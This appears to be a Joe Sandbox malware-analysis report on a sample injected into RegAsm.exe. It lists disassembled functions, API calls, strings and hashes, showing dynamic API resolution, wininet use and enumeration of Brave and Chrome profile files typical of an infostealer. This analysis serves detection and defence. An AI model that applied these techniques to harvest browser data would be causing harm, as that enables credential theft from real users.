LoadLibraryA.KERNEL32(00C51118,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A65
LoadLibraryA.KERNEL32(00C50FB0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A77
LoadLibraryA.KERNEL32(00C50EF0,?,00415783,?,00000034,00000064,004160A0,?,0000002C,00000064,00416040,?,00000030,00000064,Function_000155B0,?), ref: 00419A88
GetProcAddress.KERNEL32(75290000,00C42D40), ref: 00419AAA
GetProcAddress.KERNEL32(75290000,00C51010), ref: 00419AC2
GetProcAddress.KERNEL32(75290000,00C4AD18), ref: 00419ADA
GetProcAddress.KERNEL32(75290000,00C51088), ref: 00419AF3
GetProcAddress.KERNEL32(75290000,00C42BC0), ref: 00419B0B
GetProcAddress.KERNEL32(6FD40000,00C44408), ref: 00419B30
GetProcAddress.KERNEL32(6FD40000,00C42AE0), ref: 00419B49
GetProcAddress.KERNEL32(6FD40000,00C44200), ref: 00419B61
GetProcAddress.KERNEL32(6FD40000,00C50FF8), ref: 00419B79
GetProcAddress.KERNEL32(6FD40000,00C50ED8), ref: 00419B92
GetProcAddress.KERNEL32(6FD40000,00C42BA0), ref: 00419BAA
GetProcAddress.KERNEL32(6FD40000,00C429A0), ref: 00419BC2
GetProcAddress.KERNEL32(6FD40000,00C50E78), ref: 00419BDB
GetProcAddress.KERNEL32(752C0000,00C429E0), ref: 00419BFC
GetProcAddress.KERNEL32(752C0000,00C42BE0), ref: 00419C14
GetProcAddress.KERNEL32(752C0000,00C50FC8), ref: 00419C2D
GetProcAddress.KERNEL32(752C0000,00C50E18), ref: 00419C45
GetProcAddress.KERNEL32(752C0000,00C42A60), ref: 00419C5D
GetProcAddress.KERNEL32(74EC0000,00C44430), ref: 00419C83
GetProcAddress.KERNEL32(74EC0000,00C44390), ref: 00419C9B
GetProcAddress.KERNEL32(74EC0000,00C510E8), ref: 00419CB3
GetProcAddress.KERNEL32(74EC0000,00C42C40), ref: 00419CCC
GetProcAddress.KERNEL32(74EC0000,00C42C00), ref: 00419CE4
GetProcAddress.KERNEL32(74EC0000,00C44480), ref: 00419CFC
GetProcAddress.KERNEL32(75BD0000,00C50FE0), ref: 00419D22
GetProcAddress.KERNEL32(75BD0000,00C42C60), ref: 00419D3A
GetProcAddress.KERNEL32(75BD0000,00C4AB98), ref: 00419D52
GetProcAddress.KERNEL32(75BD0000,00C50F08), ref: 00419D6B
GetProcAddress.KERNEL32(75BD0000,00C50F50), ref: 00419D83
GetProcAddress.KERNEL32(75BD0000,00C42A80), ref: 00419D9B
GetProcAddress.KERNEL32(75BD0000,00C42A20), ref: 00419DB4
GetProcAddress.KERNEL32(75BD0000,00C50EA8), ref: 00419DCC
GetProcAddress.KERNEL32(75BD0000,00C50F20), ref: 00419DE4
GetProcAddress.KERNEL32(75A70000,00C42A40), ref: 00419E06
GetProcAddress.KERNEL32(75A70000,00C50EC0), ref: 00419E1E
GetProcAddress.KERNEL32(75A70000,00C50F38), ref: 00419E36
GetProcAddress.KERNEL32(75A70000,00C50F80), ref: 00419E4F
GetProcAddress.KERNEL32(75A70000,00C50F98), ref: 00419E67
GetProcAddress.KERNEL32(75450000,00C42C80), ref: 00419E88
GetProcAddress.KERNEL32(75450000,00C42CA0), ref: 00419EA1
GetProcAddress.KERNEL32(75DA0000,00C42AA0), ref: 00419EC2
GetProcAddress.KERNEL32(75DA0000,00C50E00), ref: 00419EDA
GetProcAddress.KERNEL32(6F090000,00C42B00), ref: 00419F00
GetProcAddress.KERNEL32(6F090000,00C42AC0), ref: 00419F18
GetProcAddress.KERNEL32(6F090000,00C42B20), ref: 00419F30
GetProcAddress.KERNEL32(6F090000,00C51028), ref: 00419F49
GetProcAddress.KERNEL32(6F090000,00C51928), ref: 00419F61
GetProcAddress.KERNEL32(6F090000,00C51728), ref: 00419F79
GetProcAddress.KERNEL32(6F090000,00C51648), ref: 00419F92
GetProcAddress.KERNEL32(6F090000,00C516A8), ref: 00419FAA
GetProcAddress.KERNEL32(6F090000,InternetSetOptionA), ref: 00419FC1
GetProcAddress.KERNEL32(6F090000,HttpQueryInfoA), ref: 00419FD7
GetProcAddress.KERNEL32(75AF0000,00C50E60), ref: 00419FF9
GetProcAddress.KERNEL32(75AF0000,00C4AD28), ref: 0041A011
GetProcAddress.KERNEL32(75AF0000,00C50E48), ref: 0041A029
GetProcAddress.KERNEL32(75AF0000,00C51040), ref: 0041A042
GetProcAddress.KERNEL32(75D90000,00C51828), ref: 0041A063
GetProcAddress.KERNEL32(6E290000,00C51058), ref: 0041A084
GetProcAddress.KERNEL32(6E290000,00C51808), ref: 0041A09D
GetProcAddress.KERNEL32(6E290000,00C50F68), ref: 0041A0B5
GetProcAddress.KERNEL32(6E290000,00C51070), ref: 0041A0CD

Strings

InternetSetOptionA, xrefs: 00419FB5
HttpQueryInfoA, xrefs: 00419FCC

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction ID: de404ee9f47513f53d28e8016dc56f999ad60f1515a6c9981bc8237813ea7153
Opcode Fuzzy Hash: 42a1c126b23ada8373e6c48d5b9de957363c63bf0e0344acec6b940ad07a1c70
Instruction Fuzzy Hash: 946243B5500E00AFC774DFA8EE88D1E3BABBB8C761750A51AE609C3674D7349443DBA4

Function 00404610 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404648
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,0041649B), ref: 00404657
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,0041649B), ref: 0040465E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040466C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404677
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404682
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 0040468D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 00404698
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046AC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046B7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046C2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046CD
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,0041649B), ref: 004046D8
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404701
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040470C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404717
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404722
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472D
strlen.MSVCRT ref: 00404740
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404768
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404773
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040477E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404789
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404794
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047A4
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047AF
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047BA
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047C5
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004047D0
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 004047EC

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404784
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047C0
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404728
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047AA
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047B5
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046FC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404779
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404667
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404712
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040476E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046A7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046BD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404672
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040478F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404707
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004047CB
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404693
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404688
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404763
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040467D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040479F

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction ID: 568009891a73934414478d5ea9ac1d95815f38c27f73e6007f327c9a8c174b1c
Opcode Fuzzy Hash: 62a93e331a1829f9f90dde32a5a87501dfa4acb2aa956d2fcd824e40e1e2fd2e
Instruction Fuzzy Hash: 1541AB79740624EBC71CAFE5EC89B997F71AB4C712BA0C062F90299190C7F9D5019B3E

Function 6C9335A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C9BF688,00001000), ref: 6C9335D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9335E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C9335FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C93363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C93369F
__aulldiv.LIBCMT ref: 6C9336E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C933773
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C93377E
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C9337BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C9337C4
EnterCriticalSection.KERNEL32(6C9BF688), ref: 6C9337CB
LeaveCriticalSection.KERNEL32(6C9BF688), ref: 6C933801
__aulldiv.LIBCMT ref: 6C933883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C933902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C933918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C93394C

Strings

QPC, xrefs: 6C9338FC
GenuntelineI, xrefs: 6C933639
GTC, xrefs: 6C933912
MOZ_TIMESTAMP_MODE, xrefs: 6C9335DB
AuthcAMDenti, xrefs: 6C933946

Memory Dump Source

Source File: 00000002.00000002.1875361280.000000006C931000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000002.00000002.1875345037.000000006C930000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875479995.000000006C9AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875509782.000000006C9BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.1875526170.000000006C9C2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c930000_RegAsm.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction ID: a0bc96b127170bdefd735f88a6772bb9dde8e2905c181f8a92bba54d538c89c4
Opcode Fuzzy Hash: 8e51f42e08f6a77178f586e59a773c95447167e031a9fe9846bb919c6c4530a7
Instruction Fuzzy Hash: BEB1A079B08315EFDB08DF28C44561B77F9BB8A708F25892EE899D3790D770D8018B89

Function 0040BCB0 Relevance: 33.9, APIs: 15, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00420B17,00420B16,00000000,?,?,?,00421398,00420B0F), ref: 0040BD35
StrCmpCA.SHLWAPI(?,0042139C), ref: 0040BD8D
StrCmpCA.SHLWAPI(?,004213A0), ref: 0040BDA3
FindNextFileA.KERNEL32(000000FF,?), ref: 0040C5FF
FindClose.KERNEL32(000000FF), ref: 0040C611

Strings

Preferences, xrefs: 0040BF5E
Google Chrome, xrefs: 0040C474
\Brave\Preferences, xrefs: 0040C01B
Brave, xrefs: 0040BF42

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction ID: 367325ed2970f14afd5354ed5b858d96e390655a4ce51a4c817116a6e2d4185c
Opcode Fuzzy Hash: ac389881893c878e7153e78c73c88d73921d7cc8774dec2d6e4140750005c09d
Instruction Fuzzy Hash: 5142BB71901108A7CB14FBB1DC96EED733DAF84314F40456EF90A66191EF389B98CB9A

Function 004143F0 Relevance: 33.4, APIs: 16, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0041440C
FindFirstFileA.KERNEL32(?,?), ref: 00414423
StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
FindClose.KERNEL32(000000FF), ref: 00414672

Strings

%s\%s, xrefs: 004144DB
%s\%s, xrefs: 00414484
%s\*, xrefs: 00414400

Memory Dump Source

